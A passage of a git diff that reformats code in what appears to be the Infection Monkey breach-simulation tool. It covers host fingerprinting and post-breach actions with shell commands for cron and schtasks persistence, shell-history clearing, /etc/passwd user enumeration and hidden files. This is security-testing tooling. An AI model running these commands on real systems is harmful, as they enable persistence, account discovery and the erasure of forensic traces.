Microsoft SQL Server instance information by querying the SQL Browser service. - :arg: - host (VictimHost): The MS-SSQL Server to query for information. + :arg: + host (VictimHost): The MS-SSQL Server to query for information. - :returns: - Discovered server information written to the Host info struct. - True if success, False otherwise. + :returns: + Discovered server information written to the Host info struct. + True if success, False otherwise. """ # Create a UDP socket and sets a timeout @@ -37,43 +35,56 @@ class MSSQLFinger(HostFinger): # The message is a CLNT_UCAST_EX packet to get all instances # https://msdn.microsoft.com/en-us/library/cc219745.aspx - message = '\x03' + message = "\x03" # Encode the message as a bytesarray message = message.encode() # send data and receive response try: - LOG.info('Sending message to requested host: {0}, {1}'.format(host, message)) + LOG.info("Sending message to requested host: {0}, {1}".format(host, message)) sock.sendto(message, server_address) data, server = sock.recvfrom(self.BUFFER_SIZE) except socket.timeout: - LOG.info('Socket timeout reached, maybe browser service on host: {0} doesnt exist'.format(host)) + LOG.info( + "Socket timeout reached, maybe browser service on host: {0} doesnt " + "exist".format(host) + ) sock.close() return False except socket.error as e: if e.errno == errno.ECONNRESET: - LOG.info('Connection was forcibly closed by the remote host. The host: {0} is rejecting the packet.' - .format(host)) + LOG.info( + "Connection was forcibly closed by the remote host. The host: {0} is " + "rejecting the packet.".format(host) + ) else: - LOG.error('An unknown socket error occurred while trying the mssql fingerprint, closing socket.', - exc_info=True) + LOG.error( + "An unknown socket error occurred while trying the mssql fingerprint, " + "closing socket.", + exc_info=True, + ) sock.close() return False - self.init_service(host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT) + self.init_service( + host.services, self._SCANNED_SERVICE, MSSQLFinger.SQL_BROWSER_DEFAULT_PORT + ) # Loop through the server data - instances_list = data[3:].decode().split(';;') - LOG.info('{0} MSSQL instances found'.format(len(instances_list))) + instances_list = data[3:].decode().split(";;") + LOG.info("{0} MSSQL instances found".format(len(instances_list))) for instance in instances_list: - instance_info = instance.split(';') + instance_info = instance.split(";") if len(instance_info) > 1: host.services[self._SCANNED_SERVICE][instance_info[1]] = {} for i in range(1, len(instance_info), 2): - # Each instance's info is nested under its own name, if there are multiple instances + # Each instance's info is nested under its own name, if there are multiple + # instances # each will appear under its own name - host.services[self._SCANNED_SERVICE][instance_info[1]][instance_info[i - 1]] = instance_info[i] + host.services[self._SCANNED_SERVICE][instance_info[1]][ + instance_info[i - 1] + ] = instance_info[i] # Close the socket sock.close() diff --git a/monkey/infection_monkey/network/mysqlfinger.py b/monkey/infection_monkey/network/mysqlfinger.py index 968e5361f..c04814c9f 100644 --- a/monkey/infection_monkey/network/mysqlfinger.py +++ b/monkey/infection_monkey/network/mysqlfinger.py @@ -6,15 +6,16 @@ from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.tools import struct_unpack_tracker, struct_unpack_tracker_string MYSQL_PORT = 3306 -SQL_SERVICE = 'mysqld-3306' +SQL_SERVICE = "mysqld-3306" LOG = logging.getLogger(__name__) class MySQLFinger(HostFinger): """ - Fingerprints mysql databases, only on port 3306 + Fingerprints mysql databases, only on port 3306 """ - _SCANNED_SERVICE = 'MySQL' + + _SCANNED_SERVICE = "MySQL" SOCKET_TIMEOUT = 0.5 HEADER_SIZE = 4 # in bytes @@ -36,7 +37,7 @@ class MySQLFinger(HostFinger): response, curpos = struct_unpack_tracker(header, 0, "I") response = response[0] - response_length = response & 0xff # first byte is significant + response_length = response & 0xFF # first byte is significant data = s.recv(response_length) # now we can start parsing protocol, curpos = struct_unpack_tracker(data, 0, "B") @@ -47,14 +48,16 @@ class MySQLFinger(HostFinger): LOG.debug("Mysql server returned error") return False - version, curpos = struct_unpack_tracker_string(data, curpos) # special coded to solve string parsing + version, curpos = struct_unpack_tracker_string( + data, curpos + ) # special coded to solve string parsing version = version[0].decode() self.init_service(host.services, SQL_SERVICE, MYSQL_PORT) - host.services[SQL_SERVICE]['version'] = version - version = version.split('-')[0].split('.') - host.services[SQL_SERVICE]['major_version'] = version[0] - host.services[SQL_SERVICE]['minor_version'] = version[1] - host.services[SQL_SERVICE]['build_version'] = version[2] + host.services[SQL_SERVICE]["version"] = version + version = version.split("-")[0].split(".") + host.services[SQL_SERVICE]["major_version"] = version[0] + host.services[SQL_SERVICE]["minor_version"] = version[1] + host.services[SQL_SERVICE]["build_version"] = version[2] thread_id, curpos = struct_unpack_tracker(data, curpos, " 1: for subnet_str in WormConfiguration.inaccessible_subnets: - if NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses], subnet_str): - # If machine has IPs from 2 different subnets in the same group, there's no point checking the other + if NetworkScanner._is_any_ip_in_subnet( + [str(x) for x in self._ip_addresses], subnet_str + ): + # If machine has IPs from 2 different subnets in the same group, there's no + # point checking the other # subnet. for other_subnet_str in WormConfiguration.inaccessible_subnets: if other_subnet_str == subnet_str: continue - if not NetworkScanner._is_any_ip_in_subnet([str(x) for x in self._ip_addresses], - other_subnet_str): + if not NetworkScanner._is_any_ip_in_subnet( + [str(x) for x in self._ip_addresses], other_subnet_str + ): subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str)) break @@ -69,12 +77,17 @@ class NetworkScanner(object): :param stop_callback: A callback to check at any point if we should stop scanning :return: yields a sequence of VictimHost instances """ - # We currently use the ITERATION_BLOCK_SIZE as the pool size, however, this may not be the best decision - # However, the decision what ITERATION_BLOCK_SIZE also requires balancing network usage (pps and bw) - # Because we are using this to spread out IO heavy tasks, we can probably go a lot higher than CPU core size + # We currently use the ITERATION_BLOCK_SIZE as the pool size, however, this may not be + # the best decision + # However, the decision what ITERATION_BLOCK_SIZE also requires balancing network usage ( + # pps and bw) + # Because we are using this to spread out IO heavy tasks, we can probably go a lot higher + # than CPU core size # But again, balance pool = Pool(ITERATION_BLOCK_SIZE) - victim_generator = VictimHostGenerator(self._ranges, WormConfiguration.blocked_ips, local_ips()) + victim_generator = VictimHostGenerator( + self._ranges, WormConfiguration.blocked_ips, local_ips() + ) victims_count = 0 for victim_chunk in victim_generator.generate_victims(ITERATION_BLOCK_SIZE): diff --git a/monkey/infection_monkey/network/ping_scanner.py b/monkey/infection_monkey/network/ping_scanner.py index fd19550a3..2f2b2719b 100644 --- a/monkey/infection_monkey/network/ping_scanner.py +++ b/monkey/infection_monkey/network/ping_scanner.py @@ -8,11 +8,9 @@ import infection_monkey.config from infection_monkey.network.HostFinger import HostFinger from infection_monkey.network.HostScanner import HostScanner -__author__ = 'itamar' - PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c" PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W" -TTL_REGEX_STR = r'(?<=TTL\=)[0-9]+' +TTL_REGEX_STR = r"(?<=TTL\=)[0-9]+" LINUX_TTL = 64 WINDOWS_TTL = 128 @@ -20,7 +18,7 @@ LOG = logging.getLogger(__name__) class PingScanner(HostScanner, HostFinger): - _SCANNED_SERVICE = '' + _SCANNED_SERVICE = "" def __init__(self): self._config = infection_monkey.config.WormConfiguration @@ -33,12 +31,11 @@ class PingScanner(HostScanner, HostFinger): if not "win32" == sys.platform: timeout /= 1000 - return 0 == subprocess.call(["ping", - PING_COUNT_FLAG, "1", - PING_TIMEOUT_FLAG, str(timeout), - host.ip_addr], - stdout=self._devnull, - stderr=self._devnull) + return 0 == subprocess.call( + ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], + stdout=self._devnull, + stderr=self._devnull, + ) def get_host_fingerprint(self, host): @@ -50,7 +47,7 @@ class PingScanner(HostScanner, HostFinger): ["ping", PING_COUNT_FLAG, "1", PING_TIMEOUT_FLAG, str(timeout), host.ip_addr], stdout=subprocess.PIPE, stderr=subprocess.PIPE, - text=True + text=True, ) output = " ".join(sub_proc.communicate()) @@ -59,9 +56,10 @@ class PingScanner(HostScanner, HostFinger): try: ttl = int(regex_result.group(0)) if ttl <= LINUX_TTL: - host.os['type'] = 'linux' - else: # as far we we know, could also be OSX/BSD but lets handle that when it comes up. - host.os['type'] = 'windows' + host.os["type"] = "linux" + else: # as far we we know, could also be OSX/BSD but lets handle that when it + # comes up. + host.os["type"] = "windows" host.icmp = True diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py index f822822da..b035a053f 100644 --- a/monkey/infection_monkey/network/smbfinger.py +++ b/monkey/infection_monkey/network/smbfinger.py @@ -7,15 +7,17 @@ from odict import odict from infection_monkey.network.HostFinger import HostFinger SMB_PORT = 445 -SMB_SERVICE = 'tcp-445' +SMB_SERVICE = "tcp-445" LOG = logging.getLogger(__name__) class Packet: - fields = odict([ - ("data", ""), - ]) + fields = odict( + [ + ("data", ""), + ] + ) def __init__(self, **kw): self.fields = odict(self.__class__.fields) @@ -26,91 +28,111 @@ class Packet: self.fields[k] = v def to_byte_string(self): - content_list = [(x.to_byte_string() if hasattr(x, "to_byte_string") else x) for x in self.fields.values()] + content_list = [ + (x.to_byte_string() if hasattr(x, "to_byte_string") else x) + for x in self.fields.values() + ] return b"".join(content_list) # SMB Packets class SMBHeader(Packet): - fields = odict([ - ("proto", b"\xff\x53\x4d\x42"), - ("cmd", b"\x72"), - ("errorcode", b"\x00\x00\x00\x00"), - ("flag1", b"\x00"), - ("flag2", b"\x00\x00"), - ("pidhigh", b"\x00\x00"), - ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", b"\x00\x00"), - ("tid", b"\x00\x00"), - ("pid", b"\x00\x00"), - ("uid", b"\x00\x00"), - ("mid", b"\x00\x00"), - ]) + fields = odict( + [ + ("proto", b"\xff\x53\x4d\x42"), + ("cmd", b"\x72"), + ("errorcode", b"\x00\x00\x00\x00"), + ("flag1", b"\x00"), + ("flag2", b"\x00\x00"), + ("pidhigh", b"\x00\x00"), + ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"), + ("reserved", b"\x00\x00"), + ("tid", b"\x00\x00"), + ("pid", b"\x00\x00"), + ("uid", b"\x00\x00"), + ("mid", b"\x00\x00"), + ] + ) class SMBNego(Packet): - fields = odict([ - ("wordcount", b"\x00"), - ("bcc", b"\x62\x00"), - ("data", "") - ]) + fields = odict([("wordcount", b"\x00"), ("bcc", b"\x62\x00"), ("data", "")]) def calculate(self): self.fields["bcc"] = struct.pack(" 0. false || true -> 0. false || false -> 1. So: # if curl works, we're good. # If curl doesn't exist or fails and wget work, we're good. # And if both don't exist: we'll call it a win. - format_string = "curl {url} || wget -O/dev/null -q {url}" + if shutil.which("curl") is not None: + format_string = "curl {url}" + else: + format_string = "wget -O/dev/null -q {url}" return format_string.format(url=url) def send_result_telemetry(self, exit_status, commandline, username): @@ -69,12 +83,19 @@ class CommunicateAsNewUser(PBA): :param username: Username from which the command was executed, for reporting back. """ if exit_status == 0: - PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True)).send() + PostBreachTelem( + self, (CREATED_PROCESS_AS_USER_SUCCESS_FORMAT.format(commandline, username), True) + ).send() else: - PostBreachTelem(self, ( - CREATED_PROCESS_AS_USER_FAILED_FORMAT.format( - commandline, username, exit_status, twos_complement(exit_status)), False)).send() + PostBreachTelem( + self, + ( + CREATED_PROCESS_AS_USER_FAILED_FORMAT.format( + commandline, username, exit_status, twos_complement(exit_status) + ), + False, + ), + ).send() def twos_complement(exit_status): diff --git a/monkey/infection_monkey/post_breach/actions/discover_accounts.py b/monkey/infection_monkey/post_breach/actions/discover_accounts.py index 4d6e5f87d..8fdebd0df 100644 --- a/monkey/infection_monkey/post_breach/actions/discover_accounts.py +++ b/monkey/infection_monkey/post_breach/actions/discover_accounts.py @@ -1,11 +1,13 @@ from common.common_consts.post_breach_consts import POST_BREACH_ACCOUNT_DISCOVERY -from infection_monkey.post_breach.account_discovery.account_discovery import get_commands_to_discover_accounts +from infection_monkey.post_breach.account_discovery.account_discovery import ( + get_commands_to_discover_accounts, +) from infection_monkey.post_breach.pba import PBA class AccountDiscovery(PBA): def __init__(self): linux_cmds, windows_cmds = get_commands_to_discover_accounts() - super().__init__(POST_BREACH_ACCOUNT_DISCOVERY, - linux_cmd=' '.join(linux_cmds), - windows_cmd=windows_cmds) + super().__init__( + POST_BREACH_ACCOUNT_DISCOVERY, linux_cmd=" ".join(linux_cmds), windows_cmd=windows_cmds + ) diff --git a/monkey/infection_monkey/post_breach/actions/hide_files.py b/monkey/infection_monkey/post_breach/actions/hide_files.py index baba3afea..c6e1d1a6b 100644 --- a/monkey/infection_monkey/post_breach/actions/hide_files.py +++ b/monkey/infection_monkey/post_breach/actions/hide_files.py @@ -2,12 +2,14 @@ from common.common_consts.post_breach_consts import POST_BREACH_HIDDEN_FILES from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils.environment import is_windows_os -from infection_monkey.utils.hidden_files import (cleanup_hidden_files, get_commands_to_hide_files, - get_commands_to_hide_folders) +from infection_monkey.utils.hidden_files import ( + cleanup_hidden_files, + get_commands_to_hide_files, + get_commands_to_hide_folders, +) from infection_monkey.utils.windows.hidden_files import get_winAPI_to_hide_files -HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files, - get_commands_to_hide_folders] +HIDDEN_FSO_CREATION_COMMANDS = [get_commands_to_hide_files, get_commands_to_hide_folders] class HiddenFiles(PBA): @@ -22,9 +24,11 @@ class HiddenFiles(PBA): # create hidden files and folders for function_to_get_commands in HIDDEN_FSO_CREATION_COMMANDS: linux_cmds, windows_cmds = function_to_get_commands() - super(HiddenFiles, self).__init__(name=POST_BREACH_HIDDEN_FILES, - linux_cmd=' '.join(linux_cmds), - windows_cmd=windows_cmds) + super(HiddenFiles, self).__init__( + name=POST_BREACH_HIDDEN_FILES, + linux_cmd=" ".join(linux_cmds), + windows_cmd=windows_cmds, + ) super(HiddenFiles, self).run() if is_windows_os(): # use winAPI result, status = get_winAPI_to_hide_files() diff --git a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py index c10575d39..18990ab11 100644 --- a/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py +++ b/monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py @@ -2,8 +2,9 @@ import subprocess from common.common_consts.post_breach_consts import POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION from infection_monkey.post_breach.pba import PBA -from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import \ - get_commands_to_modify_shell_startup_files +from infection_monkey.post_breach.shell_startup_files.shell_startup_files_modification import ( + get_commands_to_modify_shell_startup_files, +) from infection_monkey.telemetry.post_breach_telem import PostBreachTelem @@ -24,37 +25,42 @@ class ModifyShellStartupFiles(PBA): def modify_shell_startup_PBA_list(self): return self.ShellStartupPBAGenerator().get_modify_shell_startup_pbas() - class ShellStartupPBAGenerator(): + class ShellStartupPBAGenerator: def get_modify_shell_startup_pbas(self): - (cmds_for_linux, shell_startup_files_for_linux, usernames_for_linux),\ - (cmds_for_windows, shell_startup_files_per_user_for_windows) =\ - get_commands_to_modify_shell_startup_files() + (cmds_for_linux, shell_startup_files_for_linux, usernames_for_linux), ( + cmds_for_windows, + shell_startup_files_per_user_for_windows, + ) = get_commands_to_modify_shell_startup_files() pbas = [] for startup_file_per_user in shell_startup_files_per_user_for_windows: - windows_cmds = ' '.join(cmds_for_windows).format(startup_file_per_user) - pbas.append(self.ModifyShellStartupFile(linux_cmds='', windows_cmds=windows_cmds)) + windows_cmds = " ".join(cmds_for_windows).format(startup_file_per_user) + pbas.append(self.ModifyShellStartupFile(linux_cmds="", windows_cmds=windows_cmds)) for username in usernames_for_linux: for shell_startup_file in shell_startup_files_for_linux: - linux_cmds = ' '.join(cmds_for_linux).format(shell_startup_file).format(username) - pbas.append(self.ModifyShellStartupFile(linux_cmds=linux_cmds, windows_cmds='')) + linux_cmds = ( + " ".join(cmds_for_linux).format(shell_startup_file).format(username) + ) + pbas.append(self.ModifyShellStartupFile(linux_cmds=linux_cmds, windows_cmds="")) return pbas class ModifyShellStartupFile(PBA): def __init__(self, linux_cmds, windows_cmds): - super().__init__(name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, - linux_cmd=linux_cmds, - windows_cmd=windows_cmds) + super().__init__( + name=POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, + linux_cmd=linux_cmds, + windows_cmd=windows_cmds, + ) def run(self): if self.command: try: - output = subprocess.check_output(self.command, # noqa: DUO116 - stderr=subprocess.STDOUT, - shell=True).decode() + output = subprocess.check_output( # noqa: DUO116 + self.command, stderr=subprocess.STDOUT, shell=True + ).decode() return output, True except subprocess.CalledProcessError as e: # Return error output of the command diff --git a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py index 97ad75923..e7845968a 100644 --- a/monkey/infection_monkey/post_breach/actions/schedule_jobs.py +++ b/monkey/infection_monkey/post_breach/actions/schedule_jobs.py @@ -1,6 +1,8 @@ from common.common_consts.post_breach_consts import POST_BREACH_JOB_SCHEDULING -from infection_monkey.post_breach.job_scheduling.job_scheduling import (get_commands_to_schedule_jobs, - remove_scheduled_jobs) +from infection_monkey.post_breach.job_scheduling.job_scheduling import ( + get_commands_to_schedule_jobs, + remove_scheduled_jobs, +) from infection_monkey.post_breach.pba import PBA @@ -12,10 +14,12 @@ class ScheduleJobs(PBA): def __init__(self): linux_cmds, windows_cmds = get_commands_to_schedule_jobs() - super(ScheduleJobs, self).__init__(name=POST_BREACH_JOB_SCHEDULING, - linux_cmd=' '.join(linux_cmds), - windows_cmd=windows_cmds) - + super(ScheduleJobs, self).__init__( + name=POST_BREACH_JOB_SCHEDULING, + linux_cmd=" ".join(linux_cmds), + windows_cmd=windows_cmds, + ) + def run(self): super(ScheduleJobs, self).run() remove_scheduled_jobs() diff --git a/monkey/infection_monkey/post_breach/actions/timestomping.py b/monkey/infection_monkey/post_breach/actions/timestomping.py index bf02664eb..ece987107 100644 --- a/monkey/infection_monkey/post_breach/actions/timestomping.py +++ b/monkey/infection_monkey/post_breach/actions/timestomping.py @@ -6,6 +6,4 @@ from infection_monkey.post_breach.timestomping.timestomping import get_timestomp class Timestomping(PBA): def __init__(self): linux_cmds, windows_cmds = get_timestomping_commands() - super().__init__(POST_BREACH_TIMESTOMPING, - linux_cmd=linux_cmds, - windows_cmd=windows_cmds) + super().__init__(POST_BREACH_TIMESTOMPING, linux_cmd=linux_cmds, windows_cmd=windows_cmds) diff --git a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py index ed9f665f0..ed9b1dc21 100644 --- a/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py +++ b/monkey/infection_monkey/post_breach/actions/use_signed_scripts.py @@ -4,7 +4,9 @@ import subprocess from common.common_consts.post_breach_consts import POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC from infection_monkey.post_breach.pba import PBA from infection_monkey.post_breach.signed_script_proxy.signed_script_proxy import ( - cleanup_changes, get_commands_to_proxy_execution_using_signed_script) + cleanup_changes, + get_commands_to_proxy_execution_using_signed_script, +) from infection_monkey.utils.environment import is_windows_os LOG = logging.getLogger(__name__) @@ -13,18 +15,20 @@ LOG = logging.getLogger(__name__) class SignedScriptProxyExecution(PBA): def __init__(self): windows_cmds = get_commands_to_proxy_execution_using_signed_script() - super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, - windows_cmd=' '.join(windows_cmds)) + super().__init__(POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC, windows_cmd=" ".join(windows_cmds)) def run(self): try: - original_comspec = '' + original_comspec = "" if is_windows_os(): - original_comspec =\ - subprocess.check_output('if defined COMSPEC echo %COMSPEC%', shell=True).decode() # noqa: DUO116 - + original_comspec = subprocess.check_output( # noqa: DUO116 + "if defined COMSPEC echo %COMSPEC%", shell=True + ).decode() super().run() except Exception as e: - LOG.warning(f"An exception occurred on running PBA {POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}") + LOG.warning( + f"An exception occurred on running PBA " + f"{POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC}: {str(e)}" + ) finally: cleanup_changes(original_comspec) diff --git a/monkey/infection_monkey/post_breach/actions/use_trap_command.py b/monkey/infection_monkey/post_breach/actions/use_trap_command.py index 7afd2e631..9f6afc829 100644 --- a/monkey/infection_monkey/post_breach/actions/use_trap_command.py +++ b/monkey/infection_monkey/post_breach/actions/use_trap_command.py @@ -6,5 +6,4 @@ from infection_monkey.post_breach.trap_command.trap_command import get_trap_comm class TrapCommand(PBA): def __init__(self): linux_cmds = get_trap_commands() - super(TrapCommand, self).__init__(POST_BREACH_TRAP_COMMAND, - linux_cmd=linux_cmds) + super(TrapCommand, self).__init__(POST_BREACH_TRAP_COMMAND, linux_cmd=linux_cmds) diff --git a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py index dd723c14d..e165d2890 100644 --- a/monkey/infection_monkey/post_breach/actions/users_custom_pba.py +++ b/monkey/infection_monkey/post_breach/actions/users_custom_pba.py @@ -13,10 +13,9 @@ from infection_monkey.utils.monkey_dir import get_monkey_dir_path LOG = logging.getLogger(__name__) -__author__ = 'VakarisZ' -DIR_CHANGE_WINDOWS = 'cd %s & ' -DIR_CHANGE_LINUX = 'cd %s ; ' +DIR_CHANGE_WINDOWS = "cd %s & " +DIR_CHANGE_LINUX = "cd %s ; " class UsersPBA(PBA): @@ -26,7 +25,7 @@ class UsersPBA(PBA): def __init__(self): super(UsersPBA, self).__init__(POST_BREACH_FILE_EXECUTION) - self.filename = '' + self.filename = "" if not is_windows_os(): # Add linux commands to PBA's @@ -34,7 +33,9 @@ class UsersPBA(PBA): self.filename = WormConfiguration.PBA_linux_filename if WormConfiguration.custom_PBA_linux_cmd: # Add change dir command, because user will try to access his file - self.command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + WormConfiguration.custom_PBA_linux_cmd + self.command = ( + DIR_CHANGE_LINUX % get_monkey_dir_path() + ) + WormConfiguration.custom_PBA_linux_cmd elif WormConfiguration.custom_PBA_linux_cmd: self.command = WormConfiguration.custom_PBA_linux_cmd else: @@ -43,7 +44,9 @@ class UsersPBA(PBA): self.filename = WormConfiguration.PBA_windows_filename if WormConfiguration.custom_PBA_windows_cmd: # Add change dir command, because user will try to access his file - self.command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + WormConfiguration.custom_PBA_windows_cmd + self.command = ( + DIR_CHANGE_WINDOWS % get_monkey_dir_path() + ) + WormConfiguration.custom_PBA_windows_cmd elif WormConfiguration.custom_PBA_windows_cmd: self.command = WormConfiguration.custom_PBA_windows_cmd @@ -81,16 +84,18 @@ class UsersPBA(PBA): if not status: status = ScanStatus.USED - T1105Telem(status, - WormConfiguration.current_server.split(':')[0], - get_interface_to_target(WormConfiguration.current_server.split(':')[0]), - filename).send() + T1105Telem( + status, + WormConfiguration.current_server.split(":")[0], + get_interface_to_target(WormConfiguration.current_server.split(":")[0]), + filename, + ).send() if status == ScanStatus.SCANNED: return False try: - with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + with open(os.path.join(dst_dir, filename), "wb") as written_PBA_file: written_PBA_file.write(pba_file_contents.content) return True except IOError as e: diff --git a/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py b/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py index a5e8d7d44..fab63095e 100644 --- a/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py +++ b/monkey/infection_monkey/post_breach/clear_command_history/clear_command_history.py @@ -1,11 +1,14 @@ from infection_monkey.post_breach.clear_command_history.linux_clear_command_history import ( - get_linux_command_history_files, get_linux_commands_to_clear_command_history, get_linux_usernames) + get_linux_command_history_files, + get_linux_commands_to_clear_command_history, + get_linux_usernames, +) def get_commands_to_clear_command_history(): - (linux_cmds, - linux_cmd_hist_files, - linux_usernames) = (get_linux_commands_to_clear_command_history(), - get_linux_command_history_files(), - get_linux_usernames()) + (linux_cmds, linux_cmd_hist_files, linux_usernames) = ( + get_linux_commands_to_clear_command_history(), + get_linux_command_history_files(), + get_linux_usernames(), + ) return linux_cmds, linux_cmd_hist_files, linux_usernames diff --git a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py index a3545f124..642a42d5a 100644 --- a/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py +++ b/monkey/infection_monkey/post_breach/clear_command_history/linux_clear_command_history.py @@ -5,19 +5,18 @@ from infection_monkey.utils.environment import is_windows_os def get_linux_commands_to_clear_command_history(): if is_windows_os(): - return '' + return "" - TEMP_HIST_FILE = '$HOME/monkey-temp-hist-file' + TEMP_HIST_FILE = "$HOME/monkey-temp-hist-file" return [ - '3<{0} 3<&- && ', # check for existence of file - 'cat {0} ' # copy contents of history file to... - f'> {TEMP_HIST_FILE} && ', # ...temporary file - 'echo > {0} && ', # clear contents of file - 'echo \"Successfully cleared {0}\" && ', # if successfully cleared - f'cat {TEMP_HIST_FILE} ', # restore history file back with... - '> {0} ;' # ...original contents - f'rm {TEMP_HIST_FILE} -f' # remove temp history file + "3<{0} 3<&- && ", # check for existence of file + "cat {0} " # copy contents of history file to... + f"> {TEMP_HIST_FILE} && ", # ...temporary file + "echo > {0} && ", # clear contents of file + 'echo "Successfully cleared {0}" && ', # if successfully cleared + f"cat {TEMP_HIST_FILE} ", # restore history file back with... + "> {0} ;" f"rm {TEMP_HIST_FILE} -f", # ...original contents # remove temp history file ] @@ -29,13 +28,13 @@ def get_linux_command_history_files(): # get list of paths of different shell history files (default values) with place for username STARTUP_FILES = [ - file_path.format(HOME_DIR) for file_path in - [ - "{0}{{0}}/.bash_history", # bash - "{0}{{0}}/.local/share/fish/fish_history", # fish - "{0}{{0}}/.zsh_history", # zsh - "{0}{{0}}/.sh_history", # ksh - "{0}{{0}}/.history" # csh, tcsh + file_path.format(HOME_DIR) + for file_path in [ + "{0}{{0}}/.bash_history", # bash + "{0}{{0}}/.local/share/fish/fish_history", # fish + "{0}{{0}}/.zsh_history", # zsh + "{0}{{0}}/.sh_history", # ksh + "{0}{{0}}/.history", # csh, tcsh ] ] @@ -47,9 +46,12 @@ def get_linux_usernames(): return [] # get list of usernames - USERS = subprocess.check_output( # noqa: DUO116 - "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", - shell=True - ).decode().split('\n')[:-1] + USERS = ( + subprocess.check_output( # noqa: DUO116 + "cut -d: -f1,3 /etc/passwd | egrep ':[0-9]{4}$' | cut -d: -f1", shell=True + ) + .decode() + .split("\n")[:-1] + ) return USERS diff --git a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py index f7bceef72..a38aa815b 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/job_scheduling.py @@ -1,8 +1,12 @@ import subprocess -from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import get_linux_commands_to_schedule_jobs +from infection_monkey.post_breach.job_scheduling.linux_job_scheduling import ( + get_linux_commands_to_schedule_jobs, +) from infection_monkey.post_breach.job_scheduling.windows_job_scheduling import ( - get_windows_commands_to_remove_scheduled_jobs, get_windows_commands_to_schedule_jobs) + get_windows_commands_to_remove_scheduled_jobs, + get_windows_commands_to_schedule_jobs, +) from infection_monkey.utils.environment import is_windows_os diff --git a/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py index 4ed5ff970..09a8075e0 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/linux_job_scheduling.py @@ -3,10 +3,10 @@ TEMP_CRON = "$HOME/monkey-schedule-jobs" def get_linux_commands_to_schedule_jobs(): return [ - f'touch {TEMP_CRON} &&', - f'crontab -l > {TEMP_CRON} &&', - 'echo \"# Successfully scheduled a job using crontab\" |', - f'tee -a {TEMP_CRON} &&', - f'crontab {TEMP_CRON} ;', - f'rm {TEMP_CRON}' + f"touch {TEMP_CRON} &&", + f"crontab -l > {TEMP_CRON} &&", + 'echo "# Successfully scheduled a job using crontab" |', + f"tee -a {TEMP_CRON} &&", + f"crontab {TEMP_CRON} ;", + f"rm {TEMP_CRON}", ] diff --git a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py index 6fd888d67..9f44768d2 100644 --- a/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py +++ b/monkey/infection_monkey/post_breach/job_scheduling/windows_job_scheduling.py @@ -1,12 +1,14 @@ -SCHEDULED_TASK_NAME = 'monkey-spawn-cmd' -SCHEDULED_TASK_COMMAND = r'C:\windows\system32\cmd.exe' +SCHEDULED_TASK_NAME = "monkey-spawn-cmd" +SCHEDULED_TASK_COMMAND = r"C:\windows\system32\cmd.exe" -# Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md + +# Commands from: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005 +# /T1053.005.md def get_windows_commands_to_schedule_jobs(): - return f'schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}' + return f"schtasks /Create /SC monthly /F /TN {SCHEDULED_TASK_NAME} /TR {SCHEDULED_TASK_COMMAND}" def get_windows_commands_to_remove_scheduled_jobs(): - return f'schtasks /Delete 